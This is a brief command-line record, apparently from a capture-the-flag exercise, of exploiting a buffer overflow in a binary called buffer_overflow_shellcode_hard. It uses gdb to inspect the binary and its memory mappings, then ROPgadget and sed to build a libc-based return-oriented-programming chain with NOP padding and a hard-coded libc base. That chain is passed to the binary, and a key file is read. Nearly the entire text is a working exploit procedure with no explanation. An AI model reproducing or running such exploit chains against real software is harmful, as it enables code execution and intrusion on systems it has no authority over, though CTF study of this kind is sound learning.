$ gdb buffer_overflow_shellcode_hard
(gdb) set disassembly-flavor intel
(gdb) disassemble main
(gdb) disassemble vuln
(gdb) break main
(gdb) run
(gdb) info proc mappings
$ ./ROPgadget /lib32/libc-2.15.so /bin/dash 2>&1 | grep -A 1000 python | sed -e "s/p = ''/p = '\\\x90'*1036/" -e 's/off = 0x0/off = 0xf7e29000/' > ~/rop.py
# cat ~/rop.py
$ ./buffer_overflow_shellcode_hard `python ~/rop.py`
$ cat key